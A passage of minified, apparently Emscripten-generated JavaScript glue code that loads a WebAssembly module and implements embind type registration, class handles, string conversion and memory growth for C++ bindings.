load wasm binary file at '"+YA+"'";return NA.arrayBuffer()}).catch(function(){return qA()})}function _A(NA){for(;0<NA.length;)NA.shift()(q)}function a(NA){if(NA===void 0)return"_unknown";NA=NA.replace(/[^a-zA-Z0-9_]/g,"$");var ZA=NA.charCodeAt(0);return 48<=ZA&&57>=ZA?"_"+NA:NA}function JA(NA,ZA){return NA=a(NA),function(){return ZA.apply(this,arguments)}}var jA=[{},{value:void 0},{value:null},{value:!0},{value:!1}],MA=[];function hA(NA){var ZA=Error,gA=JA(NA,function(pA){this.name=NA,this.message=pA,pA=Error(pA).stack,pA!==void 0&&(this.stack=this.toString()+` `+pA.replace(/^Error(:[^\n]*)?\n/,""))});return gA.prototype=Object.create(ZA.prototype),gA.prototype.constructor=gA,gA.prototype.toString=function(){return this.message===void 0?this.name:this.name+": "+this.message},gA}var yA=void 0;function AA(NA){throw new yA(NA)}var wA=(NA)=>{return NA||AA("Cannot use deleted val. handle = "+NA),jA[NA].value},GA=(NA)=>{switch(NA){case void 0:return 1;case null:return 2;case!0:return 3;case!1:return 4;default:var ZA=MA.length?MA.pop():jA.length;return jA[ZA]={ga:1,value:NA},ZA}},OA=void 0,t=void 0;function XA(NA){for(var ZA="";j[NA];)ZA+=t[j[NA++]];return ZA}var VA=[];function vA(){for(;VA.length;){var NA=VA.pop();NA.M.$=!1,NA.delete()}}var RA=void 0,fA={};function LA(NA,ZA){for(ZA===void 0&&AA("ptr should not be undefined");NA.R;)ZA=NA.ba(ZA),NA=NA.R;return ZA}var SA={};function xA(NA){NA=$q(NA);var ZA=XA(NA);return b5(NA),ZA}function iA(NA,ZA){var gA=SA[NA];return gA===void 0&&AA(ZA+" has unknown type "+xA(NA)),gA}function lA(){}var v1=!1;function I1(NA){--NA.count.value,NA.count.value===0&&(NA.T?NA.U.W(NA.T):NA.P.N.W(NA.O))}function Q1(NA,ZA,gA){if(ZA===gA)return NA;if(gA.R===void 0)return null;return NA=Q1(NA,ZA,gA.R),NA===null?null:gA.na(NA)}var B1={};function C6(NA,ZA){return ZA=LA(NA,ZA),fA[ZA]}var w1=void 0;function $1(NA){throw new w1(NA)}function N1(NA,ZA){return ZA.P&&ZA.O||$1("makeClassHandle requires ptr and ptrType"),!!ZA.U!==!!ZA.T&&$1("Both smartPtrType and smartPtr must be specified"),ZA.count={value:1},A6(Object.create(NA,{M:{value:ZA}}))}function A6(NA){if(typeof FinalizationRegistry>"u")return A6=(ZA)=>ZA,NA;return v1=new FinalizationRegistry((ZA)=>{I1(ZA.M)}),A6=(ZA)=>{var gA=ZA.M;return gA.T&&v1.register(ZA,{M:gA},ZA),ZA},lA=(ZA)=>{v1.unregister(ZA)},A6(NA)}var c1={};function w6(NA){for(;NA.length;){var ZA=NA.pop();NA.pop()(ZA)}}function DA(NA){return this.fromWireType(f[NA>>2])}var EA={},rA={};function J1(NA,ZA,gA){function pA(u1){u1=gA(u1),u1.length!==NA.length&&$1("Mismatched type converter count");for(var s1=0;s1<NA.length;++s1)z1(NA[s1],u1[s1])}NA.forEach(function(u1){rA[u1]=ZA});var dA=Array(ZA.length),G1=[],R1=0;ZA.forEach((u1,s1)=>{SA.hasOwnProperty(u1)?dA[s1]=SA[u1]:(G1.push(u1),EA.hasOwnProperty(u1)||(EA[u1]=[]),EA[u1].push(()=>{dA[s1]=SA[u1],++R1,R1===G1.length&&pA(dA)}))}),G1.length===0&&pA(dA)}function aA(NA){switch(NA){case 1:return 0;case 2:return 1;case 4:return 2;case 8:return 3;default:throw TypeError("Unknown type size: "+NA)}}function z1(NA,ZA,gA={}){if(!("argPackAdvance"in ZA))throw TypeError("registerType registeredInstance requires argPackAdvance");var pA=ZA.name;if(NA||AA('type "'+pA+'" must have a positive integer typeid pointer'),SA.hasOwnProperty(NA)){if(gA.ua)return;AA("Cannot register type '"+pA+"' twice")}SA[NA]=ZA,delete rA[NA],EA.hasOwnProperty(NA)&&(ZA=EA[NA],delete EA[NA],ZA.forEach((dA)=>dA()))}function f1(NA){AA(NA.M.P.N.name+" instance already deleted")}function T1(){}function K6(NA,ZA,gA){if(NA[ZA].S===void 0){var pA=NA[ZA];NA[ZA]=function(){return NA[ZA].S.hasOwnProperty(arguments.length)||AA("Function '"+gA+"' called with an invalid number of arguments ("+arguments.length+") - expects one of ("+NA[ZA].S+")!"),NA[ZA].S[arguments.length].apply(this,arguments)},NA[ZA].S=[],NA[ZA].S[pA.Z]=pA}}function U6(NA,ZA){q.hasOwnProperty(NA)?(AA("Cannot register public name '"+NA+"' twice"),K6(q,NA,NA),q.hasOwnProperty(void 0)&&AA("Cannot register multiple overloads of a function with the same number of arguments (undefined)!"),q[NA].S[void 0]=ZA):q[NA]=ZA}function e8(NA,ZA,gA,pA,dA,G1,R1,u1){this.name=NA,this.constructor=ZA,this.X=gA,this.W=pA,this.R=dA,this.pa=G1,this.ba=R1,this.na=u1,this.ja=[]}function D8(NA,ZA,gA){for(;ZA!==gA;)ZA.ba||AA("Expected null or instance of "+gA.name+", got an instance of "+ZA.name),NA=ZA.ba(NA),ZA=ZA.R;return NA}function Y7(NA,ZA){if(ZA===null)return this.ea&&AA("null is not a valid "+this.name),0;return ZA.M||AA('Cannot pass "'+S3(ZA)+'" as a '+this.name),ZA.M.O||AA("Cannot pass deleted object as a pointer of type "+this.name),D8(ZA.M.O,ZA.M.P.N,this.N)}function T7(NA,ZA){if(ZA===null){if(this.ea&&AA("null is not a valid "+this.name),this.da){var gA=this.fa();return NA!==null&&NA.push(this.W,gA),gA}return 0}if(ZA.M||AA('Cannot pass "'+S3(ZA)+'" as a '+this.name),ZA.M.O||AA("Cannot pass deleted object as a pointer of type "+this.name),!this.ca&&ZA.M.P.ca&&AA("Cannot convert argument of type "+(ZA.M.U?ZA.M.U.name:ZA.M.P.name)+" to parameter type "+this.name),gA=D8(ZA.M.O,ZA.M.P.N,this.N),this.da)switch(ZA.M.T===void 0&&AA("Passing raw pointer to smart pointer is illegal"),this.Ba){case 0:ZA.M.U===this?gA=ZA.M.T:AA("Cannot convert argument of type "+(ZA.M.U?ZA.M.U.name:ZA.M.P.name)+" to parameter type "+this.name);break;case 1:gA=ZA.M.T;break;case 2:if(ZA.M.U===this)gA=ZA.M.T;else{var pA=ZA.clone();gA=this.xa(gA,GA(function(){pA.delete()})),NA!==null&&NA.push(this.W,gA)}break;default:AA("Unsupporting sharing policy")}return gA}function H4(NA,ZA){if(ZA===null)return this.ea&&AA("null is not a valid "+this.name),0;return ZA.M||AA('Cannot pass "'+S3(ZA)+'" as a '+this.name),ZA.M.O||AA("Cannot pass deleted object as a pointer of type "+this.name),ZA.M.P.ca&&AA("Cannot convert argument of type "+ZA.M.P.name+" to parameter type "+this.name),D8(ZA.M.O,ZA.M.P.N,this.N)}function u7(NA,ZA,gA,pA){this.name=NA,this.N=ZA,this.ea=gA,this.ca=pA,this.da=!1,this.W=this.xa=this.fa=this.ka=this.Ba=this.wa=void 0,ZA.R!==void 0?this.toWireType=T7:(this.toWireType=pA?Y7:H4,this.V=null)}function s7(NA,ZA){q.hasOwnProperty(NA)||$1("Replacing nonexistant public symbol"),q[NA]=ZA,q[NA].Z=void 0}function k5(NA,ZA){var gA=[];return function(){if(gA.length=0,Object.assign(gA,arguments),NA.includes("j")){var pA=q["dynCall_"+NA];pA=gA&&gA.length?pA.apply(null,[ZA].concat(gA)):pA.call(null,ZA)}else pA=x.get(ZA).apply(null,gA);return pA}}function iq(NA,ZA){NA=XA(NA);var gA=NA.includes("j")?k5(NA,ZA):x.get(ZA);return typeof gA!="function"&&AA("unknown function pointer with signature "+NA+": "+ZA),gA}var r8=void 0;function E8(NA,ZA){function gA(G1){dA[G1]||SA[G1]||(rA[G1]?rA[G1].forEach(gA):(pA.push(G1),dA[G1]=!0))}var pA=[],dA={};throw ZA.forEach(gA),new r8(NA+": "+pA.map(xA).join([", "]))}function X9(NA,ZA,gA,pA,dA){var G1=ZA.length;2>G1&&AA("argTypes array size mismatch! Must at least get return value and 'this' types!");var R1=ZA[1]!==null&&gA!==null,u1=!1;for(gA=1;gA<ZA.length;++gA)if(ZA[gA]!==null&&ZA[gA].V===void 0){u1=!0;break}var s1=ZA[0].name!=="void",E1=G1-2,Z6=Array(E1),Z8=[],j4=[];return function(){if(arguments.length!==E1&&AA("function "+NA+" called with "+arguments.length+" arguments, expected "+E1+" args!"),j4.length=0,Z8.length=R1?2:1,Z8[0]=dA,R1){var d4=ZA[1].toWireType(j4,this);Z8[1]=d4}for(var r4=0;r4<E1;++r4)Z6[r4]=ZA[r4+2].toWireType(j4,arguments[r4]),Z8.push(Z6[r4]);if(r4=pA.apply(null,Z8),u1)w6(j4);else for(var U7=R1?1:2;U7<ZA.length;U7++){var Fq=U7===1?d4:Z6[U7-2];ZA[U7].V!==null&&ZA[U7].V(Fq)}return d4=s1?ZA[0].fromWireType(r4):void 0,d4}}function I3(NA,ZA){for(var gA=[],pA=0;pA<NA;pA++)gA.push(N[ZA+4*pA>>2]);return gA}function Z3(NA){4<NA&&--jA[NA].ga===0&&(jA[NA]=void 0,MA.push(NA))}function S3(NA){if(NA===null)return"null";var ZA=typeof NA;return ZA==="object"||ZA==="array"||ZA==="function"?NA.toString():""+NA}function dY(NA,ZA){switch(ZA){case 2:return function(gA){return this.fromWireType(T[gA>>2])};case 3:return function(gA){return this.fromWireType(C[gA>>3])};default:throw TypeError("Unknown float type: "+NA)}}function vY(NA,ZA,gA){switch(ZA){case 0:return gA?function(pA){return D[pA]}:function(pA){return j[pA]};case 1:return gA?function(pA){return M[pA>>1]}:function(pA){return P[pA>>1]};case 2:return gA?function(pA){return f[pA>>2]}:function(pA){return N[pA>>2]};default:throw TypeError("Unknown integer type: "+NA)}}function $9(NA,ZA){for(var gA="",pA=0;!(pA>=ZA/2);++pA){var dA=M[NA+2*pA>>1];if(dA==0)break;gA+=String.fromCharCode(dA)}return gA}function EY(NA,ZA,gA){if(gA===void 0&&(gA=2147483647),2>gA)return 0;gA-=2;var pA=ZA;gA=gA<2*NA.length?gA/2:NA.length;for(var dA=0;dA<gA;++dA)M[ZA>>1]=NA.charCodeAt(dA),ZA+=2;return M[ZA>>1]=0,ZA-pA}function Yw(NA){return 2*NA.length}function QK(NA,ZA){for(var gA=0,pA="";!(gA>=ZA/4);){var dA=f[NA+4*gA>>2];if(dA==0)break;++gA,65536<=dA?(dA-=65536,pA+=String.fromCharCode(55296|dA>>10,56320|dA&1023)):pA+=String.fromCharCode(dA)}return pA}function _9(NA,ZA,gA){if(gA===void 0&&(gA=2147483647),4>gA)return 0;var pA=ZA;gA=pA+gA-4;for(var dA=0;dA<NA.length;++dA){var G1=NA.charCodeAt(dA);if(55296<=G1&&57343>=G1){var R1=NA.charCodeAt(++dA);G1=65536+((G1&1023)<<10)|R1&1023}if(f[ZA>>2]=G1,ZA+=4,ZA+4>gA)break}return f[ZA>>2]=0,ZA-pA}function kY(NA){for(var ZA=0,gA=0;gA<NA.length;++gA){var pA=NA.charCodeAt(gA);55296<=pA&&57343>=pA&&++gA,ZA+=4}return ZA}var gq={};function T6(NA){var ZA=gq[NA];return ZA===void 0?XA(NA):ZA}var W7=[];function Q8(NA){var ZA=W7.length;return W7.push(NA),ZA}function n4(NA,ZA){for(var gA=Array(NA),pA=0;pA<NA;++pA)gA[pA]=iA(N[ZA+4*pA>>2],"parameter "+pA);return gA}var Xq=[],IK=[null,[],[]];yA=q.BindingError=hA("BindingError"),q.count_emval_handles=function(){for(var NA=0,ZA=5;ZA<jA.length;++ZA)jA[ZA]!==void 0&&++NA;return NA},q.get_first_emval=function(){for(var NA=5;NA<jA.length;++NA)if(jA[NA]!==void 0)return jA[NA];return null},OA=q.PureVirtualError=hA("PureVirtualError");for(var h3=Array(256),Y4=0;256>Y4;++Y4)h3[Y4]=String.fromCharCode(Y4);t=h3,q.getInheritedInstanceCount=function(){return Object.keys(fA).length},q.getLiveInheritedInstances=function(){var NA=[],ZA;for(ZA in fA)fA.hasOwnProperty(ZA)&&NA.push(fA[ZA]);return NA},q.flushPendingDeletes=vA,q.setDelayFunction=function(NA){RA=NA,VA.length&&RA&&RA(vA)},w1=q.InternalError=hA("InternalError"),T1.prototype.isAliasOf=function(NA){if(!(this instanceof T1&&NA instanceof T1))return!1;var ZA=this.M.P.N,gA=this.M.O,pA=NA.M.P.N;for(NA=NA.M.O;ZA.R;)gA=ZA.ba(gA),ZA=ZA.R;for(;pA.R;)NA=pA.ba(NA),pA=pA.R;return ZA===pA&&gA===NA},T1.prototype.clone=function(){if(this.M.O||f1(this),this.M.aa)return this.M.count.value+=1,this;var NA=A6,ZA=Object,gA=ZA.create,pA=Object.getPrototypeOf(this),dA=this.M;return NA=NA(gA.call(ZA,pA,{M:{value:{count:dA.count,$:dA.$,aa:dA.aa,O:dA.O,P:dA.P,T:dA.T,U:dA.U}}})),NA.M.count.value+=1,NA.M.$=!1,NA},T1.prototype.delete=function(){this.M.O||f1(this),this.M.$&&!this.M.aa&&AA("Object already scheduled for deletion"),lA(this),I1(this.M),this.M.aa||(this.M.T=void 0,this.M.O=void 0)},T1.prototype.isDeleted=function(){return!this.M.O},T1.prototype.deleteLater=function(){return this.M.O||f1(this),this.M.$&&!this.M.aa&&AA("Object already scheduled for deletion"),VA.push(this),VA.length===1&&RA&&RA(vA),this.M.$=!0,this},u7.prototype.qa=function(NA){return this.ka&&(NA=this.ka(NA)),NA},u7.prototype.ha=function(NA){this.W&&this.W(NA)},u7.prototype.argPackAdvance=8,u7.prototype.readValueFromPointer=DA,u7.prototype.deleteObject=function(NA){if(NA!==null)NA.delete()},u7.prototype.fromWireType=function(NA){function ZA(){return this.da?N1(this.N.X,{P:this.wa,O:gA,U:this,T:NA}):N1(this.N.X,{P:this,O:NA})}var gA=this.qa(NA);if(!gA)return this.ha(NA),null;var pA=C6(this.N,gA);if(pA!==void 0){if(pA.M.count.value===0)return pA.M.O=gA,pA.M.T=NA,pA.clone();return pA=pA.clone(),this.ha(NA),pA}if(pA=this.N.pa(gA),pA=B1[pA],!pA)return ZA.call(this);pA=this.ca?pA.la:pA.pointerType;var dA=Q1(gA,this.N,pA.N);return dA===null?ZA.call(this):this.da?N1(pA.N.X,{P:pA,O:dA,U:this,T:NA}):N1(pA.N.X,{P:pA,O:dA})},r8=q.UnboundTypeError=hA("UnboundTypeError");var c8=typeof atob=="function"?atob:function(NA){var ZA="",gA=0;NA=NA.replace(/[^A-Za-z0-9\+\/=]/g,"");do{var pA="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(NA.charAt(gA++)),dA="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(NA.charAt(gA++)),G1="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(NA.charAt(gA++)),R1="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(NA.charAt(gA++));pA=pA<<2|dA>>4,dA=(dA&15)<<4|G1>>2;var u1=(G1&3)<<6|R1;ZA+=String.fromCharCode(pA),G1!==64&&(ZA+=String.fromCharCode(dA)),R1!==64&&(ZA+=String.fromCharCode(u1))}while(gA<NA.length);return ZA},z4={l:function(NA,ZA,gA,pA){r("Assertion failed: "+(NA?Z(j,NA):"")+", at: "+[ZA?ZA?Z(j,ZA):"":"unknown filename",gA,pA?pA?Z(j,pA):"":"unknown function"])},q:function(NA,ZA,gA){NA=XA(NA),ZA=iA(ZA,"wrapper"),gA=wA(gA);var pA=[].slice,dA=ZA.N,G1=dA.X,R1=dA.R.X,u1=dA.R.constructor;NA=JA(NA,function(){dA.R.ja.forEach(function(E1){if(this[E1]===R1[E1])throw new OA("Pure virtual function "+E1+" must be implemented in JavaScript")}.bind(this)),Object.defineProperty(this,"__parent",{value:G1}),this.__construct.apply(this,pA.call(arguments))}),G1.__construct=function(){this===G1&&AA("Pass correct 'this' to __construct");var E1=u1.implement.apply(void 0,[this].concat(pA.call(arguments)));lA(E1);var Z6=E1.M;E1.notifyOnDestruction(),Z6.aa=!0,Object.defineProperties(this,{M:{value:Z6}}),A6(this),E1=Z6.O,E1=LA(dA,E1),fA.hasOwnProperty(E1)?AA("Tried to register registered instance: "+E1):fA[E1]=this},G1.__destruct=function(){this===G1&&AA("Pass correct 'this' to __destruct"),lA(this);var E1=this.M.O;E1=LA(dA,E1),fA.hasOwnProperty(E1)?delete fA[E1]:AA("Tried to unregister unregistered instance: "+E1)},NA.prototype=Object.create(G1);for(var s1 in gA)NA.prototype[s1]=gA[s1];return GA(NA)},j:function(NA){var ZA=c1[NA];delete c1[NA];var{fa:gA,W:pA,ia:dA}=ZA,G1=dA.map((R1)=>R1.ta).concat(dA.map((R1)=>R1.za));J1([NA],G1,(R1)=>{var u1={};return dA.forEach((s1,E1)=>{var Z6=R1[E1],Z8=s1.ra,j4=s1.sa,d4=R1[E1+dA.length],r4=s1.ya,U7=s1.Aa;u1[s1.oa]={read:(Fq)=>Z6.fromWireType(Z8(j4,Fq)),write:(Fq,z2)=>{var b3=[];r4(U7,Fq,d4.toWireType(b3,z2)),w6(b3)}}}),[{name:ZA.name,fromWireType:function(s1){var E1={},Z6;for(Z6 in u1)E1[Z6]=u1[Z6].read(s1);return pA(s1),E1},toWireType:function(s1,E1){for(var Z6 in u1)if(!(Z6 in E1))throw TypeError('Missing field: "'+Z6+'"');var Z8=gA();for(Z6 in u1)u1[Z6].write(Z8,E1[Z6]);return s1!==null&&s1.push(pA,Z8),Z8},argPackAdvance:8,readValueFromPointer:DA,V:pA}]})},v:function(){},B:function(NA,ZA,gA,pA,dA){var G1=aA(gA);ZA=XA(ZA),z1(NA,{name:ZA,fromWireType:function(R1){return!!R1},toWireType:function(R1,u1){return u1?pA:dA},argPackAdvance:8,readValueFromPointer:function(R1){if(gA===1)var u1=D;else if(gA===2)u1=M;else if(gA===4)u1=f;else throw TypeError("Unknown boolean type size: "+ZA);return this.fromWireType(u1[R1>>G1])},V:null})},f:function(NA,ZA,gA,pA,dA,G1,R1,u1,s1,E1,Z6,Z8,j4){Z6=XA(Z6),G1=iq(dA,G1),u1&&(u1=iq(R1,u1)),E1&&(E1=iq(s1,E1)),j4=iq(Z8,j4);var d4=a(Z6);U6(d4,function(){E8("Cannot construct "+Z6+" due to unbound types",[pA])}),J1([NA,ZA,gA],pA?[pA]:[],function(r4){if(r4=r4[0],pA)var U7=r4.N,Fq=U7.X;else Fq=T1.prototype;r4=JA(d4,function(){if(Object.getPrototypeOf(this)!==z2)throw new yA("Use 'new' to construct "+Z6);if(b3.Y===void 0)throw new yA(Z6+" has no accessible constructor");var pw=b3.Y[arguments.length];if(pw===void 0)throw new yA("Tried to invoke ctor of "+Z6+" with invalid number of parameters ("+arguments.length+") - expected ("+Object.keys(b3.Y).toString()+") parameters instead!");return pw.apply(this,arguments)});var z2=Object.create(Fq,{constructor:{value:r4}});r4.prototype=z2;var b3=new e8(Z6,r4,z2,j4,U7,G1,u1,E1);U7=new u7(Z6,b3,!0,!1),Fq=new u7(Z6+"*",b3,!1,!1);var zw=new u7(Z6+" const*",b3,!1,!0);return B1[NA]={pointerType:Fq,la:zw},s7(d4,r4),[U7,Fq,zw]})},d:function(NA,ZA,gA,pA,dA,G1,R1){var u1=I3(gA,pA);ZA=XA(ZA),G1=iq(dA,G1),J1([],[NA],function(s1){function E1(){E8("Cannot call "+Z6+" due to unbound types",u1)}s1=s1[0];var Z6=s1.name+"."+ZA;ZA.startsWith("@@")&&(ZA=Symbol[ZA.substring(2)]);var Z8=s1.N.constructor;return Z8[ZA]===void 0?(E1.Z=gA-1,Z8[ZA]=E1):(K6(Z8,ZA,Z6),Z8[ZA].S[gA-1]=E1),J1([],u1,function(j4){return j4=X9(Z6,[j4[0],null].concat(j4.slice(1)),null,G1,R1),Z8[ZA].S===void 0?(j4.Z=gA-1,Z8[ZA]=j4):Z8[ZA].S[gA-1]=j4,[]}),[]})},p:function(NA,ZA,gA,pA,dA,G1){0<ZA||r();var R1=I3(ZA,gA);dA=iq(pA,dA),J1([],[NA],function(u1){u1=u1[0];var s1="constructor "+u1.name;if(u1.N.Y===void 0&&(u1.N.Y=[]),u1.N.Y[ZA-1]!==void 0)throw new yA("Cannot register multiple constructors with identical number of parameters ("+(ZA-1)+") for class '"+u1.name+"'! Overload resolution is currently only performed using the parameter count, not actual type info!");return u1.N.Y[ZA-1]=()=>{E8("Cannot construct "+u1.name+" due to unbound types",R1)},J1([],R1,function(E1){return E1.splice(1,0,null),u1.N.Y[ZA-1]=X9(s1,E1,null,dA,G1),[]}),[]})},a:function(NA,ZA,gA,pA,dA,G1,R1,u1){var s1=I3(gA,pA);ZA=XA(ZA),G1=iq(dA,G1),J1([],[NA],function(E1){function Z6(){E8("Cannot call "+Z8+" due to unbound types",s1)}E1=E1[0];var Z8=E1.name+"."+ZA;ZA.startsWith("@@")&&(ZA=Symbol[ZA.substring(2)]),u1&&E1.N.ja.push(ZA);var j4=E1.N.X,d4=j4[ZA];return d4===void 0||d4.S===void 0&&d4.className!==E1.name&&d4.Z===gA-2?(Z6.Z=gA-2,Z6.className=E1.name,j4[ZA]=Z6):(K6(j4,ZA,Z8),j4[ZA].S[gA-2]=Z6),J1([],s1,function(r4){return r4=X9(Z8,r4,E1,G1,R1),j4[ZA].S===void 0?(r4.Z=gA-2,j4[ZA]=r4):j4[ZA].S[gA-2]=r4,[]}),[]})},A:function(NA,ZA){ZA=XA(ZA),z1(NA,{name:ZA,fromWireType:function(gA){var pA=wA(gA);return Z3(gA),pA},toWireType:function(gA,pA){return GA(pA)},argPackAdvance:8,readValueFromPointer:DA,V:null})},n:function(NA,ZA,gA){gA=aA(gA),ZA=XA(ZA),z1(NA,{name:ZA,fromWireType:function(pA){return pA},toWireType:function(pA,dA){return dA},argPackAdvance:8,readValueFromPointer:dY(ZA,gA),V:null})},e:function(NA,ZA,gA,pA,dA){ZA=XA(ZA),dA===-1&&(dA=4294967295),dA=aA(gA);var G1=(u1)=>u1;if(pA===0){var R1=32-8*gA;G1=(u1)=>u1<<R1>>>R1}gA=ZA.includes("unsigned")?function(u1,s1){return s1>>>0}:function(u1,s1){return s1},z1(NA,{name:ZA,fromWireType:G1,toWireType:gA,argPackAdvance:8,readValueFromPointer:vY(ZA,dA,pA!==0),V:null})},b:function(NA,ZA,gA){function pA(G1){G1>>=2;var R1=N;return new dA(W,R1[G1+1],R1[G1])}var dA=[Int8Array,Uint8Array,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array][ZA];gA=XA(gA),z1(NA,{name:gA,fromWireType:pA,argPackAdvance:8,readValueFromPointer:pA},{ua:!0})},o:function(NA,ZA){ZA=XA(ZA);var gA=ZA==="std::string";z1(NA,{name:ZA,fromWireType:function(pA){var dA=N[pA>>2],G1=pA+4;if(gA)for(var R1=G1,u1=0;u1<=dA;++u1){var s1=G1+u1;if(u1==dA||j[s1]==0){if(R1=R1?Z(j,R1,s1-R1):"",E1===void 0)var E1=R1;else E1+=String.fromCharCode(0),E1+=R1;R1=s1+1}}else{E1=Array(dA);for(u1=0;u1<dA;++u1)E1[u1]=String.fromCharCode(j[G1+u1]);E1=E1.join("")}return b5(pA),E1},toWireType:function(pA,dA){dA instanceof ArrayBuffer&&(dA=new Uint8Array(dA));var G1,R1=typeof dA=="string";if(R1||dA instanceof Uint8Array||dA instanceof Uint8ClampedArray||dA instanceof Int8Array||AA("Cannot pass non-string to std::string"),gA&&R1){var u1=0;for(G1=0;G1<dA.length;++G1){var s1=dA.charCodeAt(G1);127>=s1?u1++:2047>=s1?u1+=2:55296<=s1&&57343>=s1?(u1+=4,++G1):u1+=3}G1=u1}else G1=dA.length;if(u1=p3(4+G1+1),s1=u1+4,N[u1>>2]=G1,gA&&R1){if(R1=s1,s1=G1+1,G1=j,0<s1){s1=R1+s1-1;for(var E1=0;E1<dA.length;++E1){var Z6=dA.charCodeAt(E1);if(55296<=Z6&&57343>=Z6){var Z8=dA.charCodeAt(++E1);Z6=65536+((Z6&1023)<<10)|Z8&1023}if(127>=Z6){if(R1>=s1)break;G1[R1++]=Z6}else{if(2047>=Z6){if(R1+1>=s1)break;G1[R1++]=192|Z6>>6}else{if(65535>=Z6){if(R1+2>=s1)break;G1[R1++]=224|Z6>>12}else{if(R1+3>=s1)break;G1[R1++]=240|Z6>>18,G1[R1++]=128|Z6>>12&63}G1[R1++]=128|Z6>>6&63}G1[R1++]=128|Z6&63}}G1[R1]=0}}else if(R1)for(R1=0;R1<G1;++R1)E1=dA.charCodeAt(R1),255<E1&&(b5(s1),AA("String has UTF-16 code units that do not fit in 8 bits")),j[s1+R1]=E1;else for(R1=0;R1<G1;++R1)j[s1+R1]=dA[R1];return pA!==null&&pA.push(b5,u1),u1},argPackAdvance:8,readValueFromPointer:DA,V:function(pA){b5(pA)}})},i:function(NA,ZA,gA){if(gA=XA(gA),ZA===2)var pA=$9,dA=EY,G1=Yw,R1=()=>P,u1=1;else ZA===4&&(pA=QK,dA=_9,G1=kY,R1=()=>N,u1=2);z1(NA,{name:gA,fromWireType:function(s1){for(var E1=N[s1>>2],Z6=R1(),Z8,j4=s1+4,d4=0;d4<=E1;++d4){var r4=s1+4+d4*ZA;if(d4==E1||Z6[r4>>u1]==0)j4=pA(j4,r4-j4),Z8===void 0?Z8=j4:(Z8+=String.fromCharCode(0),Z8+=j4),j4=r4+ZA}return b5(s1),Z8},toWireType:function(s1,E1){typeof E1!="string"&&AA("Cannot pass non-string to C++ string type "+gA);var Z6=G1(E1),Z8=p3(4+Z6+ZA);return N[Z8>>2]=Z6>>u1,dA(E1,Z8+4,Z6+ZA),s1!==null&&s1.push(b5,Z8),Z8},argPackAdvance:8,readValueFromPointer:DA,V:function(s1){b5(s1)}})},k:function(NA,ZA,gA,pA,dA,G1){c1[NA]={name:XA(ZA),fa:iq(gA,pA),W:iq(dA,G1),ia:[]}},h:function(NA,ZA,gA,pA,dA,G1,R1,u1,s1,E1){c1[NA].ia.push({oa:XA(ZA),ta:gA,ra:iq(pA,dA),sa:G1,za:R1,ya:iq(u1,s1),Aa:E1})},C:function(NA,ZA){ZA=XA(ZA),z1(NA,{va:!0,name:ZA,argPackAdvance:0,fromWireType:function(){},toWireType:function(){}})},s:function(NA,ZA,gA,pA,dA){NA=W7[NA],ZA=wA(ZA),gA=T6(gA);var G1=[];return N[pA>>2]=GA(G1),NA(ZA,gA,G1,dA)},t:function(NA,ZA,gA,pA){NA=W7[NA],ZA=wA(ZA),gA=T6(gA),NA(ZA,gA,null,pA)},g:Z3,m:function(NA,ZA){var gA=n4(NA,ZA),pA=gA[0];ZA=pA.name+"_$"+gA.slice(1).map(function(R1){return R1.name}).join("_")+"$";var dA=Xq[ZA];if(dA!==void 0)return dA;var G1=Array(NA-1);return dA=Q8((R1,u1,s1,E1)=>{for(var Z6=0,Z8=0;Z8<NA-1;++Z8)G1[Z8]=gA[Z8+1].readValueFromPointer(E1+Z6),Z6+=gA[Z8+1].argPackAdvance;R1=R1[u1].apply(R1,G1);for(Z8=0;Z8<NA-1;++Z8)gA[Z8+1].ma&&gA[Z8+1].ma(G1[Z8]);if(!pA.va)return pA.toWireType(s1,R1)}),Xq[ZA]=dA},D:function(NA){4<NA&&(jA[NA].ga+=1)},r:function(NA){var ZA=wA(NA);w6(ZA),Z3(NA)},c:function(){r("")},x:function(NA,ZA,gA){j.copyWithin(NA,ZA,ZA+gA)},w:function(NA){var ZA=j.length;if(NA>>>=0,2147483648<NA)return!1;for(var gA=1;4>=gA;gA*=2){var pA=ZA*(1+0.2/gA);pA=Math.min(pA,NA+100663296);var dA=Math;pA=Math.max(NA,pA),dA=dA.min.call(dA,2147483648,pA+(65536-pA%65536)%65536);A:{try{_.grow(dA-W.byteLength+65535>>>16),R();var G1=1;break A}catch(R1){}G1=void 0}if(G1)return!0}return!1},z:function(){return 52},u:function(){return 70},y:function(NA,ZA,gA,pA){for(var dA=0,G1=0;G1<gA;G1++){var R1=N[ZA>>2],u1=N[ZA+4>>2];ZA+=8;for(var s1=0;s1<u1;s1++){var E1=j[R1+s1],Z6=IK[NA];E1===0||E1===10?((NA===1?J:O)(Z(Z6,0)),Z6.length=0):Z6.push(E1)}dA+=u1}return N[pA>>2]=dA,0}};(function(){function NA(dA){q.asm=dA.exports,_=q.asm.E,R(),x=q.asm.J,B.unshift(q.asm.F),Q--,q.monitorRunDependencies&&q.monitorRunDependencies(Q),Q==0&&(u!==null&&(clearInterval(u),u=null),d&&(dA=d,d=null,dA()))}function ZA(dA){NA(dA.instance)}function gA(dA){return HA().then(function(G1){return WebAssembly.instantiate(G1,pA)}).then(function(G1){return G1}).then(dA,function(G1){O("failed to asynchronously prepare wasm: "+G1),r(G1)})}var pA={a:z4};if(Q++,q.monitorRunDependencies&&q.monitorRunDependencies(Q),q.instantiateWasm)try{return q.instantiateWasm(pA,NA)}catch(dA){O("Module.instantiateWasm callback failed with error: "+dA),z(dA)}return function(){return X||typeof WebAssembly.instantiateStreaming!="function"||c(YA)||typeof fetch!="function"?gA(ZA):fetch(YA,{credentials:"same-origin"}).then(function(dA){return WebAssembly.instantiateStreaming(dA,pA).then(ZA,function(G1){return O("wasm streaming compile failed: "+G1),O("falling back to ArrayBuffer instantiation"),gA(ZA)})})}().catch(z),{}})(),q.___wasm_call_ctors=function(){return(q.___wasm_call_ctors=q.asm.F).apply(null,arguments)};var $q=q.___getTypeName=function(){return($q=q.___getTypeName=q.asm.G).apply(null,arguments)};q.__embind_initialize_bindings=function(){return(q.__embind_initialize_bindings=q.asm.H).apply(null,arguments)};var 